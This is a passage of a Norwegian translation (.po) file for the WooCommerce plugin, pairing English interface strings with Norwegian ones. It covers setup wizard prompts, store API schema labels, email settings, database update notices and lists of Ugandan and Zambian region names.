msgstr "Finn ut mer om hvordan brukssporing fungerer, og hvordan du kommer til å bidra i vår<a href=\"%1$s\" target=\"_blank\">dokumentasjon for brukssporing</a>."
#: includes/admin/class-wc-admin-setup-wizard.php:457
msgid "The \"WooCommerce Admin\" plugin will be installed and activated"
msgstr "Utvidelsen \"WooCommerce Admin\" blir installert og aktivert"
#: includes/admin/class-wc-admin-setup-wizard.php:453
#: src/Admin/Features/OnboardingTasks/Tasks/Tax.php:106
#: assets/client/admin/chunks/5875.js:1
msgid "Yes please"
msgstr "Ja takk"
#: includes/admin/class-wc-admin-setup-wizard.php:447
msgid "Get your store up and running more quickly with our new and improved setup experience"
msgstr "Få butikken din i gang raskere med vår nye og forbedrede konfigurasjonsopplevelse"
#: includes/admin/class-wc-admin-setup-wizard.php:445
msgid "Welcome to"
msgstr "Velkommen til"
#. translators: %1%s: integration page %2$s: general settings page
#: includes/admin/views/html-notice-maxmind-license-key.php:24
msgid "You must enter a valid license key on the <a href=\"%1$s\">MaxMind integration settings page</a> in order to use the geolocation service. If you do not need geolocation for shipping or taxes, you should change the default customer location on the <a href=\"%2$s\">general settings page</a>."
msgstr "Du må angi en gyldig lisensnøkkel på siden med <a href=\"%1$s\">MaxMind-integrasjonsinnstillinger</a> for å kunne bruke geolokaliseringstjenesten. Hvis du ikke trenger geolokalisering for frakt eller avgift, bør du endre standard kundeplassering på siden med <a href=\"%2$s\">generelle innstillinger</a> ."
#: includes/admin/views/html-notice-maxmind-license-key.php:16
msgid "Geolocation has not been configured."
msgstr "Geolokalisering er ikke konfigurert."
#: includes/class-wc-install.php:955
msgid "Every 15 Days"
msgstr "Hver 15. dag"
#. translators: %s product name
#: includes/class-wc-ajax.php:1091
msgid "%s is a variable product parent and cannot be added."
msgstr "%s er forelder til et variabelt produkt og kan ikke legges til."
#: templates/cart/cart-shipping.php:62
msgid "Shipping costs are calculated during checkout."
msgstr "Fraktkostnader beregnes i kassen."
#: src/Blocks/BlockTypes/ProductSearch.php:44
#: assets/client/blocks/legacy-template.js:3
#: assets/client/blocks/product-search.js:1
msgid "Search products…"
msgstr "Søk produkter…"
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:95
msgid "Image of the product that the review belongs to."
msgstr "Bilde av produktet som omtalen tilhører."
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:89
msgid "Permalink of the product that the review belongs to."
msgstr "Permalenke til produktet som omtalen tilhører."
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:83
msgid "Name of the product that the review belongs to."
msgstr "Navn på produktet som omtalen tilhører."
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:64
msgid "The date the review was created, in the site's timezone in human-readable format."
msgstr "Datoen da omtalen ble opprettet, i nettstedets tidssone i lesbar format."
#: src/StoreApi/Schemas/V1/ProductSchema.php:177
msgid "Amount of reviews that the product has."
msgstr "Antall omtaler av dette produktet."
#: includes/admin/class-wc-admin-setup-wizard.php:2089
#: includes/admin/class-wc-admin-setup-wizard.php:2100
msgid "Jetpack logo"
msgstr "Jetpack logo"
#: includes/admin/class-wc-admin-setup-wizard.php:639
msgid "Enable usage tracking and help improve WooCommerce"
msgstr "Slå på brukssporing og bidra til å forbedre WooCommerce"
#: includes/admin/class-wc-admin-setup-wizard.php:617
msgid "Help improve WooCommerce with usage tracking"
msgstr "Hjelp å forbedre WooCommerce med brukssporing"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:121
msgid "The coupon will expire at 00:00:00 of this date."
msgstr "Rabattkoden vil utløpe 00:00:00 på denne datoen."
#. translators: %s: shipping zone name.
#: includes/class-wc-shipping.php:166
msgid "Customer matched zone \"%s\""
msgstr "Kunde matchet sone \"%s\""
#: i18n/states.php:2233
msgid "Muchinga"
msgstr "Muchinga"
#: i18n/states.php:2232
msgid "Lusaka"
msgstr "Lusaka"
#: i18n/states.php:2231
msgid "Copperbelt"
msgstr "Copperbelt"
#: i18n/states.php:2230
msgid "Southern"
msgstr "Southern"
#: i18n/states.php:2229
msgid "North-Western"
msgstr "North-Western"
#: i18n/states.php:623 i18n/states.php:2228
msgid "Northern"
msgstr "Northern"
#: i18n/states.php:2227
msgid "Luapula"
msgstr "Luapula"
#: i18n/states.php:620 i18n/states.php:2226
msgid "Eastern"
msgstr "Eastern"
#: i18n/states.php:629 i18n/states.php:2224
msgid "Western"
msgstr "Western"
#: i18n/states.php:2101
msgid "Midway Atoll"
msgstr "Midway Atoll"
#: i18n/countries.php:146
msgid "Macao"
msgstr "Macao"
#: templates/myaccount/downloads.php:42 templates/myaccount/orders.php:121
msgid "Browse products"
msgstr "Bla gjennom produkter"
#: includes/widgets/class-wc-widget-brand-thumbnails.php:199
#: assets/client/admin/components/index.js:2
msgid "Columns:"
msgstr "Kolonner:"
#: src/Blocks/BlockTypes/ProductCategories.php:253
msgid "Go to category"
msgstr "Gå til kategori"
#: patterns/hero-product-3-split.php:106
#: patterns/intro-centered-content-with-image-below.php:12
#: patterns/just-arrived-full-hero.php:10
#: assets/client/blocks/featured-category.js:15
#: assets/client/blocks/featured-product.js:15
msgid "Shop now"
msgstr "Handle mer"
#: includes/admin/class-wc-admin-brands.php:235
#: assets/client/blocks/featured-category.js:1
#: assets/client/blocks/featured-product.js:1
msgid "Show description"
msgstr "Vis beskrivelse"
#: includes/admin/class-wc-admin-assets.php:520
msgid "1 variation"
msgstr "1 variant"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:296
#: assets/client/blocks/all-products.js:9
#: assets/client/blocks/handpicked-products.js:8
#: assets/client/blocks/product-best-sellers.js:1
#: assets/client/blocks/product-category.js:12
#: assets/client/blocks/product-collection.js:3
#: assets/client/blocks/product-new.js:1
#: assets/client/blocks/product-on-sale.js:1
#: assets/client/blocks/product-tag.js:1
#: assets/client/blocks/product-top-rated.js:1
#: assets/client/blocks/products-by-attribute.js:1
msgid "Columns"
msgstr "Kolonner"
#: src/Admin/API/Reports/Downloads/Controller.php:322
#: src/Admin/API/Reports/Products/Controller.php:322
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/blocks/handpicked-products.js:1
#: assets/client/blocks/product-best-sellers.js:1
#: assets/client/blocks/product-category.js:12
#: assets/client/blocks/product-new.js:1
#: assets/client/blocks/product-on-sale.js:1
#: assets/client/blocks/product-tag.js:1
#: assets/client/blocks/product-top-rated.js:1
#: assets/client/blocks/products-by-attribute.js:1
msgid "Product title"
msgstr "Produkttittel"
#. translators: 1: is a link to a support document. 2: closing link
#: src/Autoloader.php:64 src/Packages.php:355
msgid "Your installation of WooCommerce is incomplete. If you installed WooCommerce from GitHub, %1$splease refer to this document%2$s to set up your development environment."
msgstr "Installasjonen av WooCommerce er ufullstendig. Hvis du installerte WooCommerce fra GitHub, %1$svennligst sjekk dette dokumentet%2$s for å sette opp utviklingsmiljøet."
#: src/Packages.php:333
msgid "Your installation of WooCommerce is incomplete. If you installed WooCommerce from GitHub, please refer to this document to set up your development environment: https://github.com/woocommerce/woocommerce/wiki/How-to-set-up-WooCommerce-development-environment"
msgstr "Installasjonen av WooCommerce er ufullstendig. Hvis du installerte WooCommerce fra GitHub, kan du sjekke dette dokumentet for å sette opp utviklingsmiljøet: https://github.com/woocommerce/woocommerce/wiki/How-to-set-up-WooCommerce-development-environment"
#. Translators: %s package name.
#: src/Packages.php:331 src/Packages.php:346
msgid "Missing the WooCommerce %s package"
msgstr "Mangler WooCommerce %s pakke"
#. translators: 1: first result 2: last result 3: total results 4: sorted by
#: templates/loop/result-count.php:38
msgctxt "with first and last result"
msgid "Showing %1$d–%2$d of %3$d result"
msgid_plural "Showing %1$d–%2$d of %3$d results"
msgstr[0] "Viser %1$d–%2$d av %3$d resultat"
msgstr[1] "Viser %1$d–%2$d av %3$d resultater"
#: i18n/states.php:2093
msgid "Zombo"
msgstr "Zombo"
#: i18n/states.php:2092
msgid "Yumbe"
msgstr "Yumbe"
#: i18n/states.php:2091
msgid "Wakiso"
msgstr "Wakiso"
#: i18n/states.php:2090
msgid "Tororo"
msgstr "Tororo"
#: i18n/states.php:2089
msgid "Soroti"
msgstr "Soroti"
#: i18n/states.php:2088
msgid "Sironko"
msgstr "Sironko"
#: i18n/states.php:2087
msgid "Sheema"
msgstr "Sheema"
#: i18n/states.php:2086
msgid "Serere"
msgstr "Serere"
#: i18n/states.php:2085
msgid "Sembabule"
msgstr "Sembabule"
#: i18n/states.php:2084
msgid "Rukungiri"
msgstr "Rukungiri"
#: i18n/states.php:2083
msgid "Rukiga"
msgstr "Rukiga"
#: i18n/states.php:2082
msgid "Rubirizi"
msgstr "Rubirizi"
#: i18n/states.php:2081
msgid "Rubanda"
msgstr "Rubanda"
#: i18n/states.php:2080
msgid "Rakai"
msgstr "Rakai"
#: i18n/states.php:2079
msgid "Pallisa"
msgstr "Pallisa"
#: i18n/states.php:2078
msgid "Pakwach"
msgstr "Pakwach"
#: i18n/states.php:2077
msgid "Pader"
msgstr "Pader"
#: i18n/states.php:2076
msgid "Oyam"
msgstr "Oyam"
#: i18n/states.php:2075
msgid "Otuke"
msgstr "Otuke"
#: i18n/states.php:2074
msgid "Omoro"
msgstr "Omoro"
#: i18n/states.php:2073
msgid "Nwoya"
msgstr "Nwoya"
#: i18n/states.php:2072
msgid "Ntungamo"
msgstr "Ntungamo"
#: i18n/states.php:2071
msgid "Ntoroko"
msgstr "Ntoroko"
#: i18n/states.php:2070
msgid "Ngora"
msgstr "Ngora"
#: i18n/states.php:2069
msgid "Nebbi"
msgstr "Nebbi"
#: i18n/states.php:2068
msgid "Napak"
msgstr "Napak"
#: i18n/states.php:2067
msgid "Namutumba"
msgstr "Namutumba"
#: i18n/states.php:2066
msgid "Namisindwa"
msgstr "Namisindwa"
#: i18n/states.php:2065
msgid "Namayingo"
msgstr "Namayingo"
#: i18n/states.php:2064
msgid "Nakasongola"
msgstr "Nakasongola"
#: i18n/states.php:2063
msgid "Nakaseke"
msgstr "Nakaseke"
#: i18n/states.php:2062
msgid "Nakapiripirit"
msgstr "Nakapiripirit"
#: i18n/states.php:2061
msgid "Nabilatuk"
msgstr "Nabilatuk"
#: i18n/states.php:2060
msgid "Mukono"
msgstr "Mukono"
#: i18n/states.php:2059
msgid "Mubende"
msgstr "Mubende"
#: i18n/states.php:2058
msgid "Mpigi"
msgstr "Mpigi"
#: i18n/states.php:2057
msgid "Moyo"
msgstr "Moyo"
#: i18n/states.php:2056
msgid "Moroto"
msgstr "Moroto"
#: i18n/states.php:2055
msgid "Mityana"
msgstr "Mityana"
#: i18n/states.php:2054
msgid "Mitooma"
msgstr "Mitooma"
#: i18n/states.php:2053
msgid "Mbarara"
msgstr "Mbarara"
#: i18n/states.php:2052
msgid "Mbale"
msgstr "Mbale"
#: i18n/states.php:2051
msgid "Mayuge"
msgstr "Mayuge"
#: i18n/states.php:2050
msgid "Masindi"
msgstr "Masindi"
#: i18n/states.php:2049
msgid "Masaka"
msgstr "Masaka"
#: i18n/states.php:2048
msgid "Maracha"
msgstr "Maracha"
#: i18n/states.php:2047
msgid "Manafwa"
msgstr "Manafwa"
#: i18n/states.php:2046
msgid "Lyantonde"
msgstr "Lyantonde"
#: i18n/states.php:2045
msgid "Lwengo"
msgstr "Lwengo"
#: i18n/states.php:2044
msgid "Luwero"
msgstr "Luwero"
#: i18n/states.php:2043
msgid "Luuka"
msgstr "Luuka"
#: i18n/states.php:2042
msgid "Lira"
msgstr "Lira"
#: i18n/states.php:2041
msgid "Lamwo"
msgstr "Lamwo"
#: i18n/states.php:2040
msgid "Kyotera"
msgstr "Kyotera"
#: i18n/states.php:2039
msgid "Kyenjojo"
msgstr "Kyenjojo"
#: i18n/states.php:2038
msgid "Kyegegwa"
msgstr "Kyegegwa"
#: i18n/states.php:2037
msgid "Kyankwanzi"
msgstr "Kyankwanzi"
#: i18n/states.php:2036
msgid "Kween"
msgstr "Kween"
#: i18n/states.php:2035
msgid "Kwania"
msgstr "Kwania"
#: i18n/states.php:2034
msgid "Kumi"
msgstr "Kumi"
#: i18n/states.php:2033
msgid "Kotido"
msgstr "Kotido"
#: i18n/states.php:2032
msgid "Kole"
msgstr "Kole"
#: i18n/states.php:2031
msgid "Koboko"
msgstr "Koboko"
#: i18n/states.php:2030
msgid "Kitgum"
msgstr "Kitgum"
#: i18n/states.php:2029
msgid "Kisoro"
msgstr "Kisoro"
#: i18n/states.php:2028
msgid "Kiryandongo"
msgstr "Kiryandongo"
#: i18n/states.php:2027
msgid "Kiruhura"
msgstr "Kiruhura"
#: i18n/states.php:2026
msgid "Kikuube"
msgstr "Kikuube"
#: i18n/states.php:2025
msgid "Kibuku"
msgstr "Kibuku"
#: i18n/states.php:2024
msgid "Kiboga"
msgstr "Kiboga"
#: i18n/states.php:2023
msgid "Kibaale"
msgstr "Kibaale"
#: i18n/states.php:2022
msgid "Kayunga"
msgstr "Kayunga"
#: i18n/states.php:2021
msgid "Katakwi"
msgstr "Katakwi"
#: i18n/states.php:2020
msgid "Kasese"
msgstr "Kasese"
#: i18n/states.php:2019
msgid "Kasanda"
msgstr "Kasanda"
#: i18n/states.php:2018
msgid "Kapelebyong"
msgstr "Kapelebyong"
#: i18n/states.php:2017
msgid "Kapchorwa"
msgstr "Kapchorwa"
#: i18n/states.php:2016
msgid "Kanungu"
msgstr "Kanungu"
#: i18n/states.php:2015
msgid "Kamwenge"
msgstr "Kamwenge"
#: i18n/states.php:2014
msgid "Kamuli"
msgstr "Kamuli"
#: i18n/states.php:2013
msgid "Kampala"
msgstr "Kampala"
#: i18n/states.php:2012
msgid "Kalungu"
msgstr "Kalungu"
#: i18n/states.php:2011
msgid "Kaliro"
msgstr "Kaliro"
#: i18n/states.php:2010
msgid "Kalangala"
msgstr "Kalangala"
#: i18n/states.php:2009
msgid "Kakumiro"
msgstr "Kakumiro"
#: i18n/states.php:2008
msgid "Kagadi"
msgstr "Kagadi"
#: i18n/states.php:2007
msgid "Kaberamaido"
msgstr "Kaberamaido"
#: i18n/states.php:2006
msgid "Kabarole"
msgstr "Kabarole"
#: i18n/states.php:2005
msgid "Kabale"
msgstr "Kabale"
#: i18n/states.php:2004
msgid "Kaabong"
msgstr "Kaabong"
#: i18n/states.php:2003
msgid "Jinja"
msgstr "Jinja"
#: i18n/states.php:2002
msgid "Isingiro"
msgstr "Isingiro"
#: i18n/states.php:2001
msgid "Iganga"
msgstr "Iganga"
#: i18n/states.php:2000
msgid "Ibanda"
msgstr "Ibanda"
#: i18n/states.php:1999
msgid "Hoima"
msgstr "Hoima"
#: i18n/states.php:1998
msgid "Gulu"
msgstr "Gulu"
#: i18n/states.php:1997
msgid "Gomba"
msgstr "Gomba"
#: i18n/states.php:1996
msgid "Dokolo"
msgstr "Dokolo"
#: i18n/states.php:1995
msgid "Buyende"
msgstr "Buyende"
#: i18n/states.php:1994
msgid "Buvuma"
msgstr "Buvuma"
#: i18n/states.php:1993
msgid "Butebo"
msgstr "Butebo"
#: i18n/states.php:1992
msgid "Butambala"
msgstr "Butambala"
#: i18n/states.php:1991
msgid "Butaleja"
msgstr "Butaleja"
#: i18n/states.php:1067 i18n/states.php:1990
msgid "Busia"
msgstr "Busia"
#: i18n/states.php:1989
msgid "Bushenyi"
msgstr "Bushenyi"
#: i18n/states.php:1988
msgid "Bunyangabu"
msgstr "Bunyangabu"
#: i18n/states.php:1987
msgid "Bundibugyo"
msgstr "Bundibugyo"
#: i18n/states.php:1986
msgid "Buliisa"
msgstr "Buliisa"
#: i18n/states.php:1985
msgid "Bulambuli"
msgstr "Bulambuli"
#: i18n/states.php:1984
msgid "Bukwa"
msgstr "Bukwa"
#: i18n/states.php:1983
msgid "Bukomansimbi"
msgstr "Bukomansimbi"
#: i18n/states.php:1982
msgid "Bukedea"
msgstr "Bukedea"
#: i18n/states.php:1981
msgid "Buikwe"
msgstr "Buikwe"
#: i18n/states.php:1980
msgid "Buhweju"
msgstr "Buhweju"
#: i18n/states.php:1979
msgid "Bugweri"
msgstr "Bugweri"
#: i18n/states.php:1978
msgid "Bugiri"
msgstr "Bugiri"
#: i18n/states.php:1977
msgid "Bududa"
msgstr "Bududa"
#: i18n/states.php:1976
msgid "Budaka"
msgstr "Budaka"
#: i18n/states.php:1975
msgid "Arua"
msgstr "Arua"
#: i18n/states.php:1974
msgid "Apac"
msgstr "Apac"
#: i18n/states.php:1973
msgid "Amuru"
msgstr "Amuru"
#: i18n/states.php:1972
msgid "Amuria"
msgstr "Amuria"
#: i18n/states.php:1971
msgid "Amudat"
msgstr "Amudat"
#: i18n/states.php:1970
msgid "Amolatar"
msgstr "Amolatar"
#: i18n/states.php:1969
msgid "Alebtong"
msgstr "Alebtong"
#: i18n/states.php:1968
msgid "Agago"
msgstr "Agago"
#: i18n/states.php:1967
msgid "Adjumani"
msgstr "Adjumani"
#: i18n/states.php:1966
msgid "Abim"
msgstr "Abim"
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:38
msgid "woocommerce"
msgstr "woocommerce"
#: src/StoreApi/Schemas/V1/ProductSchema.php:83
msgid "Product variation attributes, if applicable."
msgstr "Produktvariant-attributter, hvis aktuelt."
#: src/StoreApi/Routes/V1/Products.php:358
msgid "Operator to compare product tags."
msgstr "Operatør for å sammenligne produkt-tagger."
#: src/StoreApi/Schemas/V1/ProductCategorySchema.php:65
msgid "Category URL."
msgstr "Kategoriens nettadresse."
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:867
msgid "Import as meta data"
msgstr "Importer som metadata"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:831
msgid "Tags (space separated)"
msgstr "Stikkord (separert med mellomrom)"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:830
msgid "Tags (comma separated)"
msgstr "Stikkord (separert med komma)"
#: includes/admin/wc-admin-functions.php:536
msgid "Variations (and their attributes) that do not have prices will not be shown in your store."
msgstr "Varianter (og deres attributter) som ikke har priser vil ikke bli vist i butikken."
#. Translators: %d variation count.
#: includes/admin/wc-admin-functions.php:533
msgid "%d variation does not have a price."
msgid_plural "%d variations do not have prices."
msgstr[0] "%d variant mangler pris."
msgstr[1] "%d varianter mangler pris."
#: includes/admin/class-wc-admin-setup-wizard.php:1923
msgid "WooCommerce Admin icon"
msgstr "WooCommerce Admin-ikon"
#: includes/admin/class-wc-admin-setup-wizard.php:1921
msgid "Manage your store's reports and monitor key metrics with a new and improved interface and dashboard."
msgstr "Administrer butikkens rapporter og overvåk nøkketall med et nytt og forbedret grensesnitt og kontrollpanel."
#: includes/admin/class-wc-admin-setup-wizard.php:1920
#: includes/admin/class-wc-admin-setup-wizard.php:1924
#: src/Internal/Admin/Settings.php:296
msgid "WooCommerce Admin"
msgstr "WooCommerce Admin"
#: includes/admin/class-wc-admin-setup-wizard.php:1033
msgid "Use WooCommerce Shipping (powered by WooCommerce Services & Jetpack) to save time at the post office by printing your shipping labels at home."
msgstr "Bruk WooCommerce Shipping (drevet av WooCommerce Services & Jetpack) for å spare tid på postkontoret ved å skrive ut fraktetiketter hjemme."
#: includes/admin/class-wc-admin-setup-wizard.php:1032
#: includes/admin/class-wc-admin-setup-wizard.php:1043
msgid "Did you know you can print shipping labels at home?"
msgstr "Visste du at du kan skrive ut fraktetiketter hjemme?"
#: includes/admin/settings/views/settings-tax.php:67
msgid "List additional tax classes you need below (1 per line, e.g. Reduced Rates). These are in addition to \"Standard rate\" which exists by default."
msgstr "Legg inn ekstra avgiftsklasser du trenger nedenfor (1 pr. linje, f.eks. reduserte satser). Disse kommer i tillegg til \"Standardsats\" som eksisterer som standard."
#: includes/admin/views/html-admin-page-status-report.php:547
msgid "Unable to retrieve database information. Usually, this is not a problem, and it only means that your install is using a class that replaces the WordPress database class (e.g., HyperDB) and WooCommerce is unable to get database information."
msgstr "Kan ikke hente databaseinformasjon. Vanligvis er dette ikke et problem, og det betyr bare at installasjonen din bruker en klasse som erstatter WordPress-databaseklassen (f.eks. HyperDB) og WooCommerce ikke klarer å få databaseinformasjon."
#: includes/admin/views/html-admin-page-status-report.php:543
msgid "Database information:"
msgstr "Databaseinformasjon:"
#. Translators: %1$f: Table size, %2$f: Index size, %3$s Engine.
#: includes/admin/views/html-admin-page-status-report.php:522
#: includes/admin/views/html-admin-page-status-report.php:536
msgid "Data: %1$.2fMB + Index: %2$.2fMB + Engine %3$s"
msgstr "Data: %1$.2fMB + indeks: %2$.2fMB + motor %3$s"
#: includes/admin/class-wc-admin-assets.php:553
msgid "Generate coupon code"
msgstr "Generer rabattkode"
#: includes/admin/meta-boxes/views/html-product-attribute.php:9
msgid "Drag and drop to set admin attribute order"
msgstr "Dra og slipp for å angi admin attributt rekkefølge"
#: includes/class-wc-install.php:1116
msgid "Zero rate"
msgstr "Null sats"
#: includes/class-wc-install.php:1115
msgid "Reduced rate"
msgstr "Redusert sats"
#: includes/emails/class-wc-email-new-order.php:199
msgid "Congratulations on the sale."
msgstr "Gratulerer med salget."
#: includes/emails/class-wc-email-customer-invoice.php:128
#: includes/emails/class-wc-email-customer-processing-order.php:151
msgid "Thanks for using {site_url}!"
msgstr "Takk for at du besøker {site_url}!"
#: includes/emails/class-wc-email-cancelled-order.php:213
#: includes/emails/class-wc-email-customer-cancelled-order.php:203
#: includes/emails/class-wc-email-customer-invoice.php:237
#: includes/emails/class-wc-email-customer-pos-completed-order.php:222
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:353
#: includes/emails/class-wc-email-customer-refunded-order.php:334
#: includes/emails/class-wc-email-failed-order.php:214
#: includes/emails/class-wc-email-new-order.php:242
#: includes/emails/class-wc-email.php:1104
msgid "Text to appear below the main email content."
msgstr "Tekst som skal vises nedenfor hovedinnholdet i e-posten."
#: includes/emails/class-wc-email-cancelled-order.php:212
#: includes/emails/class-wc-email-customer-cancelled-order.php:202
#: includes/emails/class-wc-email-customer-invoice.php:236
#: includes/emails/class-wc-email-customer-pos-completed-order.php:221
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:352
#: includes/emails/class-wc-email-customer-refunded-order.php:333
#: includes/emails/class-wc-email-failed-order.php:213
#: includes/emails/class-wc-email-new-order.php:241
#: includes/emails/class-wc-email.php:1103
msgid "Additional content"
msgstr "Tilleggsinnhold"
#: includes/class-wc-countries.php:1617
msgid "Town / Village"
msgstr "Poststed"
#: includes/class-wc-countries.php:1028 includes/class-wc-countries.php:1350
#: src/Blocks/Domain/Services/CheckoutFields.php:775
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:88
#: assets/client/admin/chunks/analytics-report-customers.js:1
msgid "Postal code"
msgstr "Postnummer"
#: includes/class-wc-tax.php:884 includes/class-wc-tax.php:922
msgid "Invalid field"
msgstr "Ugyldig felt"
#: includes/class-wc-tax.php:851
msgid "Tax class slug already exists"
msgstr "Identifikatoren for avgiftsklassen finnes allerede"
#: includes/class-wc-tax.php:830
msgid "Tax class requires a valid name"
msgstr "Avgiftsklassen krever et gyldig navn"
#. translators: 1: URL of WordPress.org Repository 2: URL of the GitHub
#. Repository release page
#: includes/class-woocommerce.php:1257
msgid "Or you can download a pre-built version of the plugin from the <a href=\"%1$s\">WordPress.org repository</a> or by visiting <a href=\"%2$s\">the releases page in the GitHub repository</a>."
msgstr "Eller du kan laste ned en forhåndsbygget versjon av utvidelsen fra <a href=\"%1$s\">WordPress.org repository</a> eller ved å besøke <a href=\"%2$s\">GitHub repository</a>."
#: includes/class-wc-ajax.php:1491
msgid "Order not editable"
msgstr "Ordren kan ikke redigeres"
#: includes/admin/helper/class-wc-helper-orders-api.php:72
msgid "You do not have permission to install plugins."
msgstr "Du har ikke tillatelse til å installere utvidelser."
#: includes/admin/views/html-notice-wp-php-minimum-requirements.php:17
msgid "Learn how to upgrade"
msgstr "Lær hvordan oppgradere"
#: includes/admin/meta-boxes/views/html-product-data-general.php:90
msgid "The sale will start at 00:00:00 of \"From\" date and end at 23:59:59 of \"To\" date."
msgstr "Salget vil starte kl 00:00:00 på \"Fra\"-datoen og slutte kl 23:59:59 på \"Til\"-datoen."
#: includes/wc-order-functions.php:917
msgid "Order fully refunded."
msgstr "Ordre refundert helt."
#: includes/admin/class-wc-admin-settings.php:183
msgid "Selecting no country / region to sell to prevents from completing the checkout. Continue anyway?"
msgstr "Hvis du ikke velger noe land/region å selge til så forhindrer dette at betaling kan fullføres. Fortsette uansett?"
#: includes/class-wc-form-handler.php:151
msgid "Please enter a valid Eircode."
msgstr "Du må fylle inn en gyldig Eircode."
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:224
msgid "There was a failure fetching this action"
msgstr "Det oppstod en feil under henting av denne handlingen"
#. translators: %s: attribute name
#: includes/class-wc-post-types.php:254
msgid "← Back to \"%s\" attributes"
msgstr "← Tilbake til \"%s\" attributter"
#: includes/admin/views/html-notice-regenerating-lookup-table.php:23
#: includes/admin/views/html-notice-updating.php:24
msgid "Note: WP CRON has been disabled on your install which may prevent this update from completing."
msgstr "Merk: WP CRON har blitt slått av for installasjonen din, noe som kan forhindre at denne oppdateringen fullføres."
#: includes/admin/views/html-notice-regenerating-lookup-table.php:20
msgid "Product display, sorting, and reports may not be accurate until this finishes. It will take a few minutes and this notice will disappear when complete."
msgstr "Produktvisning, sortering og rapporter vil ikke være nøyaktige før dette er ferdig. Det vil ta noen minutter, og dette varselet vil forsvinne når det er fullført."
#: includes/admin/notes/class-wc-notes-run-db-update.php:213
#: includes/admin/views/html-notice-regenerating-lookup-table.php:14
#: includes/admin/views/html-notice-updating.php:16
msgid "You can manually run queued updates here."
msgstr "Du kan manuelt kjøre oppdateringer som ligger i kø her."
#: includes/cli/class-wc-cli-update-command.php:73
msgid "Updating database"
msgstr "Oppdaterer database"
#. translators: 1: Number of database updates 2: List of update callbacks
#: includes/cli/class-wc-cli-update-command.php:68
msgid "Found %1$d updates (%2$s)"
msgstr "Fant %1$d oppdateringer (%2$s)"
#. translators: %s Database version number
#: includes/cli/class-wc-cli-update-command.php:59
msgid "No updates required. Database version is %s"
msgstr "Ingen oppdateringer påkrevd. Databaseversjonen er %s"
#. translators: 1: action ID 2: hook name
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_QueueRunner.php:155
msgid "Completed processing action %1$s with hook: %2$s"
msgstr "Fullført prosesshandling %1$s med kobling: %2$s"
#. translators: %s php class name
#: packages/action-scheduler/classes/abstracts/ActionScheduler_WPCLI_Command.php:34
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_QueueRunner.php:45
#: packages/action-scheduler/classes/WP_CLI/ProgressBar.php:67
msgid "The %s class can only be run within WP CLI."
msgstr "Klassen %s kan bare kjøres innenfor WP CLI."
#: packages/action-scheduler/classes/ActionScheduler_wcSystemStatus.php:125
msgid "Newest Scheduled Date"
msgstr "Nyeste planlagt dato"
#: packages/action-scheduler/classes/ActionScheduler_wcSystemStatus.php:124
msgid "Oldest Scheduled Date"
msgstr "Eldste planlagt dato"
#: includes/widgets/class-wc-widget-brand-thumbnails.php:230
#: packages/action-scheduler/classes/ActionScheduler_wcSystemStatus.php:123
msgid "Count"
msgstr "Teller"
#: packages/action-scheduler/classes/ActionScheduler_wcSystemStatus.php:121
msgid "Action Status"
msgstr "Handlingsstatus"
#: packages/action-scheduler/classes/ActionScheduler_wcSystemStatus.php:110
msgid "Action Scheduler"
msgstr "Handlingsplanlegger"
#: includes/class-wc-form-handler.php:1160
msgid "Your account was created successfully. Your login details have been sent to your email address."
msgstr "Din konto ble opprettet. Dine innloggingsdetaljer har blitt sendt til din e-postadresse."
#: includes/class-wc-form-handler.php:1158
msgid "Your account was created successfully and a password has been sent to your email address."
msgstr "Din konto ble opprettet, og et passord har blitt sendt til din e-postadresse."
#. Translators: %d stock amount
#: includes/class-wc-ajax.php:1715
msgid "Stock: %d"
msgstr "Lager: %d"
#. translators: %1$s: item name %2$s: stock change
#: includes/class-wc-ajax.php:1420
msgid "Deleted %1$s and adjusted stock (%2$s)"
msgstr "Slettet %1$s og justert lager (%2$s)"
#: includes/class-wc-ajax.php:1381
msgid "Invalid items"
msgstr "Ugyldige elementer"
#: includes/class-wc-ajax.php:1269
msgid "Invalid rate"
msgstr "Ugyldig sats"
#. translators: %s item name.
#: includes/class-wc-ajax.php:1111
msgid "Added line items: %s"
msgstr "Lagt til linjeelementer: %s"
#: includes/emails/class-wc-email-cancelled-order.php:66
msgid "[{site_title}]: Order #{order_number} has been cancelled"
msgstr "[{site_title}]: Ordrenr. {order_number} har blitt kansellert"
#: includes/admin/notes/class-wc-notes-run-db-update.php:163
#: includes/admin/views/html-notice-update.php:36
msgid "Learn more about updates"
msgstr "Lær mer om oppdateringer"
#: includes/admin/notes/class-wc-notes-run-db-update.php:154
#: includes/admin/views/html-notice-update.php:33
msgid "Update WooCommerce Database"
msgstr "Oppdater WooCommerce Database"
#. translators: %1$s: opening <a> tag %2$s: closing </a> tag
#. translators: 1: Link to docs 2: Close link.
#: includes/admin/notes/class-wc-notes-run-db-update.php:179
#: includes/admin/views/html-notice-update.php:28
msgid "The database update process runs in the background and may take a little while, so please be patient. Advanced users can alternatively update via %1$sWP CLI%2$s."
msgstr "Oppdatering av databasen går i bakgrunnen, og det kan ta litt tid, så vær tålmodig. Avanserte brukere kan alternativt oppdatere via %1$sWP CLI%2$s."
#: includes/admin/notes/class-wc-notes-run-db-update.php:177
#: includes/admin/views/html-notice-update.php:25
msgid "WooCommerce has been updated! To keep things running smoothly, we have to update your database to the newest version."
msgstr "WooCommerce har blitt oppdatert! For å sikre at alt kjører problemfritt, må vi oppdatere databasen til den nyeste versjonen."
#: includes/admin/notes/class-wc-notes-run-db-update.php:175
#: includes/admin/views/html-notice-update.php:21
msgid "WooCommerce database update required"
